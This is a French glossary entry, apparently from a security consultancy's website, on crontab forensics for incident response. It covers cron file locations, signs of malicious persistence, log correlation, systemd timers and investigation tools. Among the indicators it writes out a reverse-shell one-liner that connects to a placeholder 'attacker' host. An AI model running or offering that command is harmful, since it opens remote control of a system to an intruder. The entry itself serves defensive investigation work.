Crontab Forensics
forensicsDéfinition
Crontab (Cron Table) est le mécanisme de planification de tâches périodiques sur les systèmes Unix/Linux. Il est massivement utilisé comme vecteur de persistance par les attaquants car il permet l'exécution automatique de commandes à intervalles réguliers, avec peu de visibilité dans les outils de monitoring standard. L'écosystème cron sur Linux comprend plusieurs emplacements distincts qui doivent tous être examinés lors d'une investigation forensique. Les crontabs utilisateur (crontab -l) sont stockés dans /var/spool/cron/crontabs/{username}. Les crontabs système sont dans /etc/crontab (fichier principal avec colonne utilisateur), /etc/cron.d/ (fichiers supplémentaires par service), /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ (scripts exécutés périodiquement par run-parts). Les indicateurs de crontab malveillant incluent : des entrées téléchargeant des fichiers depuis Internet (wget, curl vers des IPs/domaines suspects), des entrées exécutant des scripts dans /tmp ou /dev/shm (répertoires souvent en mémoire), des reverse shells (bash -i >& /dev/tcp/attacker/4444 0>&1), des entrées avec redirection de sortie vers /dev/null pour masquer les erreurs, et des noms de fichiers ou commandes imitant des tâches système légitimes. Les logs cron dans /var/log/cron (RHEL) ou dans syslog/journald (Debian/Ubuntu) enregistrent chaque exécution de tâche cron avec timestamp, utilisateur et commande. Ces logs sont essentiels pour déterminer quand une tâche malveillante a été exécutée et avec quelle fréquence. Corréler les timestamps d'exécution cron avec d'autres événements (connexions réseau, modifications de fichiers) permet de confirmer l'activité malveillante. Les systèmes utilisant systemd peuvent utiliser des systemd timers à la place ou en complément de cron. Les fichiers .timer dans /etc/systemd/system/ et /usr/lib/systemd/system/ doivent également être inspectés. 'systemctl list-timers' liste tous les timers actifs avec leur prochain déclenchement.
Fonctionnement
Le démon crond lit les crontabs à intervalles réguliers et exécute les commandes planifiées avec les droits de l'utilisateur correspondant. Chaque ligne crontab a le format : minute heure jour mois jour-semaine commande. Les fichiers dans /etc/cron.{hourly,daily,weekly,monthly}/ sont exécutés par run-parts avec des droits root.
Application DFIR
Vérification systématique : crontab -l -u {user} pour chaque utilisateur, ls -la /etc/cron.* /var/spool/cron/crontabs/, grep -r '' /etc/cron.d/. Analyser les logs cron pour les exécutions récentes. Vérifier également les anacron jobs (/etc/anacrontab) et les at jobs (/var/spool/at/).
Outils
crontab, at, anacron (outils natifs), journalctl -u cron (logs systemd), grep dans /var/log/cron*, Velociraptor (artefact Linux.Crontab), osquery (crontabs table), OSSEC/Wazuh (surveillance crontabs). Pour les conteneurs : analyser les crontabs dans l'image Docker et les volumes montés.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés.
Un projet cybersécurité ?
Expert dispo · Réponse 24h